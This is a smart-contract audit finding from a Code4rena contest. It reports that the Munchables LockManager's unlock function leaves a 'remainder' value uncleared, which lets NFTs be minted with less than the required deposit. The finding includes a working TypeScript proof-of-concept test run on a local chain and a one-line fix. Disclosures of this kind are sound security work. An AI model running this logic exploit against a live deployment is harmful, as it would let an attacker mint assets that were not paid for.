Lines of code

https://github.com/code-423n4/2024-05-munchables/blob/main/src/managers/LockManager.sol#L401-L416

Vulnerability details

Impact

The unlock method does not set 'remainder' to 0, which might allow users to mint NFTs with assets less than nftCost.

Desc

When the lock method calculates the locked assets, it saves the assets that are less than nftCost into the 'remain' variable. In the next call to the lock method, 'remain' is added to the quantity. However, there is a bug in the unlock method (see: https://github.com/code-423n4/2024-05-munchables/blob/main/src/managers/LockManager.sol#L401-L416). The unlock method does not set 'remain' to 0, which means that after a user has unlocked and transferred all assets, the 'remain' variable is not zero. This allows the next lock to mint an NFT with assets less than nftCost

Proof of Concept

import assert from "node:assert/strict";
import { after, afterEach, before, beforeEach, describe, it } from "node:test";
import { parseEther, zeroAddress } from "viem";
import { DeployedContractsType } from "../../../deployments/actions/deploy-contracts";
import {
  assertContractFunctionRevertedError,
  assertTransactionEvents,
  assertTxSuccess,
} from "../../utils/asserters";
import { testClient } from "../../utils/consts";
import {
  TestERC20ContractType,
  deployTestERC20Contract,
  getTestContracts,
  getTestRoleAddresses,
} from "../../utils/contracts";
import { registerPlayer } from "../../utils/players";

const lockDuration = 1000n;

describe("LockManager: unlock", () => {
  let alice: `0x${string}`;
  let beforeSnapshot: `0x${string}`;
  let beforeEachSnapshot: `0x${string}`;
  let testContracts: DeployedContractsType;
  let testERC20Contract: TestERC20ContractType;

  async function assertUnlockSuccess({
    player,
    quantity,
    lockedQuantity,
    balance,
    tokenContractAddress,
    txHash,
  }: {
    player: `0x${string}`;
    quantity: bigint;
    lockedQuantity: bigint;
    balance: bigint;
    tokenContractAddress: `0x${string}`;
    txHash: `0x${string}`;
  }) {
    const txReceipt = await assertTxSuccess({ txHash });

    assertTransactionEvents({
      abi: testContracts.lockManager.contract.abi,
      logs: txReceipt.logs,
      expectedEvents: [
        {
          eventName: "Unlocked",
          args: {
            _player: player,
            _tokenContract: tokenContractAddress,
            _quantity: quantity,
          },
        },
      ],
    });

    if (tokenContractAddress === zeroAddress) {
      const ethBalance = await testClient.getBalance({
        address: player,
      });
      // Subtract gas used on the unlock call from the expected balance
      assert.equal(ethBalance, balance - txReceipt.gasUsed);
    } else {
      const lockManagerERC20Balance = await testERC20Contract.read.balanceOf([player]);
      assert.equal(lockManagerERC20Balance, balance);
    }

    const lockedTokens = await testContracts.lockManager.contract.read.getLocked([player]);
    assert(lockedTokens instanceof Array);
    const lockedToken = lockedTokens.find((t) => t.tokenContract === tokenContractAddress);
    assert.ok(lockedToken);
    assert.equal(lockedToken.lockedToken.quantity, lockedQuantity);
  }

  before(async () => {
    testContracts = await getTestContracts();

    beforeSnapshot = await testClient.snapshot();

    const testRoleAddresses = await getTestRoleAddresses();
    [alice] = testRoleAddresses.users;

    await registerPlayer({ account: alice, testContracts });

    testERC20Contract = await deployTestERC20Contract({ account: alice });

    const configureTokenTxHash = await testContracts.lockManager.contract.write.configureToken([
      testERC20Contract.address,
      { usdPrice: 100n * BigInt(1e18), nftCost: parseEther("2"), active: true, decimals: 18 },
    ]);
    await assertTxSuccess({ txHash: configureTokenTxHash });

    const block1 = await testClient.getBlock();

    const start1 = Number(block1.timestamp) - 1000;
    const end1 = Number(block1.timestamp) + 10000;
    const minLockDuration1 = 1000;

    const configureLockdrop = await testContracts.lockManager.contract.write.configureLockdrop([
          {
            start: start1,
            end: end1,
            minLockDuration: minLockDuration1,
          },
    ]);
    await assertTxSuccess({ txHash: configureLockdrop });

    const setLockDurationTxHash = await testContracts.lockManager.contract.write.setLockDuration(
      [lockDuration],
      { account: alice }
    );
    await assertTxSuccess({ txHash: setLockDurationTxHash });
  });

  beforeEach(async () => {
    beforeEachSnapshot = await testClient.snapshot();
    await testClient.setBalance({
      address: alice,
      value: parseEther("10"),
    });
  });

  afterEach(async () => {
    await testClient.revert({ id: beforeEachSnapshot });
  });

  after(async () => {
    await testClient.revert({ id: beforeSnapshot });
  });

  describe("when player has locked ERC20 tokens", () => {
    const erc20Balance = parseEther("100");
    let unlockTime: number;

    beforeEach(async () => {
      // Approve 2 tokens on the test ERC20
      const approveERC20TxHash = await testERC20Contract.write.approve([
        testContracts.lockManager.contract.address,
        parseEther("2"),
      ]);
      await assertTxSuccess({ txHash: approveERC20TxHash });

      const lockTxHash = await testContracts.lockManager.contract.write.lock(
        [testERC20Contract.address, parseEther("1")],
        {
          account: alice,
        }
      );
      await assertTxSuccess({ txHash: lockTxHash });
      const lockedTokens = await testContracts.lockManager.contract.read.getLocked([alice]);
      assert(lockedTokens instanceof Array);
      const lockedToken = lockedTokens.find((t) => t.tokenContract === testERC20Contract.address);
      assert.ok(lockedToken);
      unlockTime = lockedToken.lockedToken.unlockTime;

      const lockManagerERC20Balance = await testERC20Contract.read.balanceOf([alice]);
      // Sanity check the ERC20 balance so we can test that it gets returned
      assert.equal(lockManagerERC20Balance, erc20Balance - parseEther("1"));
    });

    describe("when unlock time is past", () => {
      beforeEach(async () => {
        // Fast-forward the chain to put unlock time in past
        await testClient.setNextBlockTimestamp({
          timestamp: BigInt(unlockTime + 1),
        });
        await testClient.mine({ blocks: 1 });
      });

      it("remain don't clear so lock 1ether can get 1 nft", async () => {
        const { request } = await testContracts.lockManager.contract.simulate.unlock(
          [testERC20Contract.address, parseEther("1")],
          { account: alice }
        );
        const txHash = await testClient.writeContract(request);
        await assertUnlockSuccess({
          player: alice,
          quantity: parseEther("1"),
          lockedQuantity: 0n,
          balance: erc20Balance,
          tokenContractAddress: testERC20Contract.address,
          txHash,
        });

    const lockedTokens = await testContracts.lockManager.contract.read.getLocked([alice]);
    assert(lockedTokens instanceof Array);
    const lockedToken = lockedTokens.find((t) => t.tokenContract === testERC20Contract.address);
    assert.ok(lockedToken);
    assert.equal(lockedToken.lockedToken.quantity, 0n);

    const nftNumbersBefore = await testContracts.nftOverlord.contract.read.getUnrevealedNFTs([alice]);
    assert.equal(nftNumbersBefore, 0);
    const lockTxHash = await testContracts.lockManager.contract.write.lock(
      [testERC20Contract.address, parseEther("1")],
      {
        account: alice,
      }
    );
    await assertTxSuccess({ txHash: lockTxHash });
    const nftNumbersAfter = await testContracts.nftOverlord.contract.read.getUnrevealedNFTs([alice]);
    assert.equal(nftNumbersAfter, 1);

      });
    });
  });
});

Test command: pnpm test

user can get 1 nft through lock 1eth < nftCost

Tools Used

Manual Review

Recommended Mitigation Steps

In LockManager.sol unlock method, set the lockedToken.remainder = 0;

    function unlock(
        address _tokenContract,
        uint256 _quantity
    ) external notPaused nonReentrant {
        LockedToken storage lockedToken = lockedTokens[msg.sender][
            _tokenContract
        ];
        if (lockedToken.quantity < _quantity)
            revert InsufficientLockAmountError();
        if (lockedToken.unlockTime > uint32(block.timestamp))
            revert TokenStillLockedError();

        // force harvest to make sure that they get the schnibbles that they are entitled to
        accountManager.forceHarvest(msg.sender);

        lockedToken.quantity -= _quantity;

+++        lockedToken.remainder = 0;
        // send token
        if (_tokenContract == address(0)) {
            payable(msg.sender).transfer(_quantity);
        } else {
            IERC20 token = IERC20(_tokenContract);
            token.transfer(msg.sender, _quantity);
        }

        emit Unlocked(msg.sender, _tokenContract, _quantity);
    }

Assessed type

Error

code-423n4 / 2024-05-munchables-findings

The unlock method does not reset the 'remainder' variable, allowing NFTs to be minted with less locked funds. #440